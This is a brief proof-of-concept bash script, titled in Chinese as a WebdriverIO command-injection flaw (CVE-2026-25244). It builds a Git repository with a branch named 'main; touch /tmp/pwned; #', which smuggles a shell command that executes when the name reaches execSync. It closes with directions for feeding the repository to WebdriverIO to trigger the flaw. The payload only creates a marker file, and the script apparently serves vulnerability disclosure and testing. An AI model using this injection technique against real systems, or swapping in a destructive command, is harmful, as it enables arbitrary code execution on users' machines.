CVE-2026-25244 WebdriverIO 命令注入漏洞

#!/bin/bash # PoC: Create a malicious Git repository to exploit CVE-2026-25244 # The branch name contains a shell command to create a file named 'pwned' REPO_DIR="malicious_repo" rm -rf $REPO_DIR mkdir $REPO_DIR cd $REPO_DIR git init # Create a commit echo "test" > test.txt git add test.txt git config user.email "[email protected]" git config user.name "Attacker" git commit -m "Initial commit" # Create a branch with a malicious payload # The payload executes 'touch /tmp/pwned' when passed to execSync git branch "main; touch /tmp/pwned; #" echo "[+] Malicious repository created at: $(pwd)" echo "[+] Use this repository as source in WebdriverIO test orchestration to trigger."